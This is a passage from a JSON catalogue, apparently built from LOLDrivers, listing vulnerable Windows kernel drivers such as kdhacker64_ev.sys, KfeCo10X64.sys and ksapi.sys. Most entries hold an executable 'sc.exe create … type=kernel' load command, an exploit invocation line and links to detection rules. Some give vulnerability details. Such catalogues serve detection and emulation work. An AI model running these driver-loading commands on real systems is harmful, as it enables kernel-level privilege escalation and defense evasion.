      "template": "sc.exe create kavservice.sys binPath=C:\\windows\\temp\\kavservice.sys type=kernel && sc.exe start kavservice.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-kavservice-bin",
    "install": [
      {
        "method": "custom",
        "description": "Load kavservice.bin kernel driver",
        "commands": [
          "sc.exe create kavservice.sys binPath=C:\\windows\\temp\\kavservice.sys type=kernel && sc.exe start kavservice.sys"
        ]
      }
    ],
    "name": "kavservice.bin",
    "namespace": "windows:kernel:kavservice-bin",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.52pojie.cn/thread-1823439-1-1.html"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create kbdcap64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\kbdcap64.sys type=kernel && sc.exe start kbdcap64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kbdcap64.sys\"\n\n# kbdcap64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kbdcap64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create kbdcap64.sys binPath=C:\\windows\\temp\\kbdcap64.sys type=kernel && sc.exe start kbdcap64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-kbdcap64",
    "install": [
      {
        "method": "custom",
        "description": "Load kbdcap64.sys kernel driver",
        "commands": [
          "sc.exe create kbdcap64.sys binPath=C:\\windows\\temp\\kbdcap64.sys type=kernel && sc.exe start kbdcap64.sys"
        ]
      }
    ],
    "name": "kbdcap64.sys",
    "namespace": "windows:kernel:kbdcap64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create KDHacker binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\kdhacker64_ev.sys type=kernel && sc.exe start KDHacker\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kdhacker64_ev.sys\"\n\n# kdhacker64_ev.sys\n\nkdhacker64_ev.sys is a kernel driver from Beijing Kingsoft Security software bundled with Kingsoft AntiVirus and Liebao Browser. The driver exposes a kernel heap buffer overflow via IOCTL 0x120140 with approximately 512 bytes of overflow into adjacent kernel pool allocations. The root cause is a size validation mismatch -- input is validated at 0x488 bytes per element but only 0x248 bytes are allocated per element. RtlInitUnicodeString is called on user-controlled buffers without null terminator bounds checking, producing oversized ANSI strings that overflow 64-byte destination buffers. No authentication is required to access the device. The driver also includes TDI hooks for TCP/UDP/RawIP interception, process creation notification callbacks, filesystem filter attachments to NTFS/FAT/CDFS, camera device monitoring, and HTTP header parsing. Other Kingsoft drivers (ksapi.sys, mydrivers.sys) are already tracked in LOLDrivers.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kdhacker64-ev.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "kdhacker64_ev.sys is a kernel driver from Beijing Kingsoft Security software bundled with Kingsoft AntiVirus and Liebao Browser. The driver exposes a kernel heap buffer overflow via IOCTL 0x120140 with approximately 512 bytes of overflow into adjacent kernel pool allocations. The root cause is a size validation mismatch -- input is validated at 0x488 bytes per element but only 0x248 bytes are allocated per element. RtlInitUnicodeString is called on user-controlled buffers without null termina...",
    "execution": {
      "template": "sc.exe create KDHacker binPath=C:\\windows\\temp\\kdhacker64_ev.sys type=kernel && sc.exe start KDHacker",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-kdhacker64-ev",
    "install": [
      {
        "method": "custom",
        "description": "Load kdhacker64_ev.sys kernel driver",
        "commands": [
          "sc.exe create KDHacker binPath=C:\\windows\\temp\\kdhacker64_ev.sys type=kernel && sc.exe start KDHacker"
        ]
      }
    ],
    "name": "kdhacker64_ev.sys",
    "namespace": "windows:kernel:kdhacker64-ev",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/309"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create kdriver.sys binPath=C:\\\\windows\\\\temp\\\\kdriver.sys type=kernel && sc.exe start kdriver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kdriver.sys\"\n\n# kdriver.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kdriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-kdriver",
    "name": "kdriver.sys",
    "namespace": "windows:kernel:kdriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create kerneldamd64 binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\kerneldamd64.sys type=kernel && sc.exe start kerneldamd64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kerneld.amd64\"\n\n# kerneld.amd64\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kerneld-amd64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create kerneldamd64 binPath= C:\\windows\\temp\\kerneldamd64.sys type=kernel && sc.exe start kerneldamd64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-kerneld-amd64",
    "install": [
      {
        "method": "custom",
        "description": "Load kerneld.amd64 kernel driver",
        "commands": [
          "sc.exe create kerneldamd64 binPath= C:\\windows\\temp\\kerneldamd64.sys type=kernel && sc.exe start kerneldamd64"
        ]
      }
    ],
    "name": "kerneld.amd64",
    "namespace": "windows:kernel:kerneld-amd64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create kEvP64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\kEvP64.sys type=kernel && sc.exe start kEvP64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kEvP64.sys\"\n\n# kEvP64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-kevp64.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create kEvP64.sys binPath=C:\\windows\\temp\\kEvP64.sys type=kernel && sc.exe start kEvP64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-kevp64",
    "install": [
      {
        "method": "custom",
        "description": "Load kEvP64.sys kernel driver",
        "commands": [
          "sc.exe create kEvP64.sys binPath=C:\\windows\\temp\\kEvP64.sys type=kernel && sc.exe start kEvP64.sys"
        ]
      }
    ],
    "name": "kEvP64.sys",
    "namespace": "windows:kernel:kevp64",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create KfeCo10X64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\KfeCo10X64.sys type=kernel && sc.exe start KfeCo10X64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver KfeCo10X64.sys\"\n\n# KfeCo10X64.sys\n\nKiller exposes COM interfaces that allow non-privileged users 1) to block network for any process 2) to manage any service in the OS. Killer is preinstalled to laptops equipped with Intel Killer NICs (e.g. Dell). Since Intel patched the vulnerability quietly, it's not clear which version is safe. Also, it is unclear which OEMs are affected. Dell is definitely in the list, but it is likely that other vendors with Killer NICs on board, such as Acer and MSI, are affected too. Some users think that Killer suite is required for the NIC to work properly, so they install it even after a fresh Windows install. This version is confirmed vulnerable based on the script usage from zwclose.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kfeco10x64.md",
    "author": "Paul Michaud",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Killer exposes COM interfaces that allow non-privileged users 1) to block network for any process 2) to manage any service in the OS. Killer is preinstalled to laptops equipped with Intel Killer NICs (e.g. Dell). Since Intel patched the vulnerability quietly, it's not clear which version is safe. Also, it is unclear which OEMs are affected. Dell is definitely in the list, but it is likely that other vendors with Killer NICs on board, such as Acer and MSI, are affected too. Some users think th...",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/b583414fcee280128788f7b39451c511376fe821f455d4f3702795e96d560704.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create KfeCo10X64.sys binPath=C:\\windows\\temp\\KfeCo10X64.sys type=kernel && sc.exe start KfeCo10X64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-kfeco10x64",
    "install": [
      {
        "method": "custom",
        "description": "Load KfeCo10X64.sys kernel driver",
        "commands": [
          "sc.exe create KfeCo10X64.sys binPath=C:\\windows\\temp\\KfeCo10X64.sys type=kernel && sc.exe start KfeCo10X64.sys"
        ]
      }
    ],
    "name": "KfeCo10X64.sys",
    "namespace": "windows:kernel:kfeco10x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://zwclose.github.io/2023/04/18/killer2.html"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/zwclose/status/1648441215808049153"
      },
      {
        "label": "Reference",
        "url": "https://zwclose.github.io/2022/12/18/killer1.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create KfeCo11X64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\KfeCo11X64.sys type=kernel && sc.exe start KfeCo11X64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver KfeCo11X64.sys\"\n\n# KfeCo11X64.sys\n\nKiller exposes COM interfaces that allow non-privileged users 1) to block network for any process 2) to manage any service in the OS. Killer is preinstalled to laptops equipped with Intel Killer NICs (e.g. Dell). Since Intel patched the vulnerability quietly, it's not clear which version is safe. Also, it is unclear which OEMs are affected. Dell is definitely in the list, but it is likely that other vendors with Killer NICs on board, such as Acer and MSI, are affected too. Some users think that Killer suite is required for the NIC to work properly, so they install it even after a fresh Windows install. This version is confirmed vulnerable based on the script usage from zwclose.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kfeco11x64.md",
    "author": "Paul Michaud",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Killer exposes COM interfaces that allow non-privileged users 1) to block network for any process 2) to manage any service in the OS. Killer is preinstalled to laptops equipped with Intel Killer NICs (e.g. Dell). Since Intel patched the vulnerability quietly, it's not clear which version is safe. Also, it is unclear which OEMs are affected. Dell is definitely in the list, but it is likely that other vendors with Killer NICs on board, such as Acer and MSI, are affected too. Some users think th...",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/9a91d6e83b8fdec536580f6617f10dfc64eedf14ead29a6a644eb154426622ba.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create KfeCo11X64.sys binPath=C:\\windows\\temp\\KfeCo11X64.sys type=kernel && sc.exe start KfeCo11X64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-kfeco11x64",
    "install": [
      {
        "method": "custom",
        "description": "Load KfeCo11X64.sys kernel driver",
        "commands": [
          "sc.exe create KfeCo11X64.sys binPath=C:\\windows\\temp\\KfeCo11X64.sys type=kernel && sc.exe start KfeCo11X64.sys"
        ]
      }
    ],
    "name": "KfeCo11X64.sys",
    "namespace": "windows:kernel:kfeco11x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://zwclose.github.io/2023/04/18/killer2.html"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/zwclose/status/1648441215808049153"
      },
      {
        "label": "Reference",
        "url": "https://zwclose.github.io/2022/12/18/killer1.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Khwmon binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Khwmon.sys type=kernel && sc.exe start Khwmon\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Khwmon.sys\"\n\n# Khwmon.sys\n\nKhwmon.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-khwmon.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Khwmon.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Khwmon binPath=C:\\windows\\temp\\Khwmon.sys type=kernel && sc.exe start Khwmon",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-khwmon",
    "install": [
      {
        "method": "custom",
        "description": "Load Khwmon.sys kernel driver",
        "commands": [
          "sc.exe create Khwmon binPath=C:\\windows\\temp\\Khwmon.sys type=kernel && sc.exe start Khwmon"
        ]
      }
    ],
    "name": "Khwmon.sys",
    "namespace": "windows:kernel:khwmon",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Kinkajou binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Kinkajou.sys type=kernel && sc.exe start Kinkajou\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Kinkajou.sys\"\n\n# Kinkajou.sys\n\nKinkajou.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kinkajou.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Kinkajou.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create Kinkajou binPath=C:\\windows\\temp\\Kinkajou.sys type=kernel && sc.exe start Kinkajou",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-kinkajou",
    "install": [
      {
        "method": "custom",
        "description": "Load Kinkajou.sys kernel driver",
        "commands": [
          "sc.exe create Kinkajou binPath=C:\\windows\\temp\\Kinkajou.sys type=kernel && sc.exe start Kinkajou"
        ]
      }
    ],
    "name": "Kinkajou.sys",
    "namespace": "windows:kernel:kinkajou",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create KmWpsMs binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\KmWpsMs.sys type=kernel && sc.exe start KmWpsMs\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver KmWpsMs.sys\"\n\n# KmWpsMs.sys\n\nKmWpsMs.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kmwpsms.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "KmWpsMs.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create KmWpsMs binPath=C:\\windows\\temp\\KmWpsMs.sys type=kernel && sc.exe start KmWpsMs",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-kmwpsms",
    "install": [
      {
        "method": "custom",
        "description": "Load KmWpsMs.sys kernel driver",
        "commands": [
          "sc.exe create KmWpsMs binPath=C:\\windows\\temp\\KmWpsMs.sys type=kernel && sc.exe start KmWpsMs"
        ]
      }
    ],
    "name": "KmWpsMs.sys",
    "namespace": "windows:kernel:kmwpsms",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create krpocesshacker.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\krpocesshacker.sys     type=kernel && sc.exe start krpocesshacker.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver kprocesshacker.sys\"\n\n# kprocesshacker.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-kprocesshacker.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create krpocesshacker.sys binPath=C:\\windows\\temp\\krpocesshacker.sys     type=kernel && sc.exe start krpocesshacker.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "network-intensive",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-kprocesshacker",
    "install": [
      {
        "method": "custom",
        "description": "Load kprocesshacker.sys kernel driver",
        "commands": [
          "sc.exe create krpocesshacker.sys binPath=C:\\windows\\temp\\krpocesshacker.sys     type=kernel && sc.exe start krpocesshacker.sys"
        ]
      }
    ],
    "name": "kprocesshacker.sys",
    "namespace": "windows:kernel:kprocesshacker",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html"
      },
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/312791-bypaph-process-hackers-bypass-read-write-process-virtual-memory-kernel-mem.html#post2315763"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ksapi.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ksapi.sys type=kernel && sc.exe start ksapi.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ksapi.sys\"\n\n# ksapi.sys\n\nDriver can be used to load unsigned drivers\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-ksapi.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Driver can be used to load unsigned drivers",
    "execution": {
      "template": "sc.exe create ksapi.sys binPath=C:\\windows\\temp\\ksapi.sys type=kernel && sc.exe start ksapi.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ksapi",
    "install": [
      {
        "method": "custom",
        "description": "Load ksapi.sys kernel driver",
        "commands": [
          "sc.exe create ksapi.sys binPath=C:\\windows\\temp\\ksapi.sys type=kernel && sc.exe start ksapi.sys"
        ]
      }
    ],
